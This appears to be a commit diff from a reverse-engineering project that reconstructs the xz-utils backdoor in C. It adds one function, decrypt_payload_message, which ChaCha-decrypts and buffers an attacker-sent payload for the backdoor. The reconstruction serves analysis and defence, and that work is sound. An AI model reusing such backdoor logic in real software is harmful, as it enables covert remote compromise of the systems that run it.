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xzre_code: add decrypt_payload_message
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,71 @@ | ||
| /** | ||
| * Copyright (C) 2024 Stefano Moioli <smxdev4@gmail.com> | ||
| **/ | ||
| #include "xzre.h" | ||
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| BOOL decrypt_payload_message( | ||
| key_payload_t *payload, | ||
| size_t payload_size, | ||
| global_context_t *ctx | ||
| ){ | ||
| backdoor_payload_hdr_t hdr = {0}; | ||
| u8 output[ED448_KEY_SIZE] = {0}; | ||
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| memcpy(&hdr, payload, sizeof(hdr)); | ||
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| if(!payload){ | ||
| if(!ctx) return FALSE; | ||
| goto set_state_invalid; | ||
| } | ||
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| const size_t header_size = sizeof(payload->hdr) + sizeof(payload->body_length); | ||
| static_assert(header_size == 18); | ||
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| do { | ||
| if(!ctx) break; | ||
| if(ctx->payload_state == 3) return TRUE; | ||
| if(payload_size <= header_size || ctx->payload_state > 1) break; | ||
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| /** decrypt body_size and body */ | ||
| if(!chacha_decrypt( | ||
| payload->data + sizeof(payload->hdr), | ||
| payload_size - sizeof(payload->hdr), | ||
| output, | ||
| payload->hdr.bytes, | ||
| payload->data + sizeof(payload->hdr), | ||
| ctx->imported_funcs)) break; | ||
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| u16 body_length = payload->body_length; | ||
| // body cannot be bigger than remaining length | ||
| if(body_length >= payload_size - header_size){ | ||
| break; | ||
| } | ||
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| // body cannot be bigger than the current data size | ||
| if(body_length >= ctx->payload_data_size - ctx->current_data_size){ | ||
| break; | ||
| } | ||
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| /** keep a copy of the last payload body */ | ||
| u8 *data = &ctx->payload_data[ctx->current_data_size]; | ||
| __builtin_memcpy(data, payload->body, body_length); | ||
| ctx->current_data_size += body_length; | ||
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| /** decrypt body */ | ||
| if(!chacha_decrypt( | ||
| payload->data + sizeof(payload->hdr), | ||
| payload_size - sizeof(payload->hdr), | ||
| output, | ||
| payload->hdr.bytes, | ||
| payload->data + sizeof(payload->hdr), | ||
| ctx->imported_funcs | ||
| )) break; | ||
|
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| return TRUE; | ||
| } while(0); | ||
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| set_state_invalid: | ||
| ctx->payload_state = PAYLOAD_STATE_INVALID; | ||
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| return FALSE; | ||
| } |
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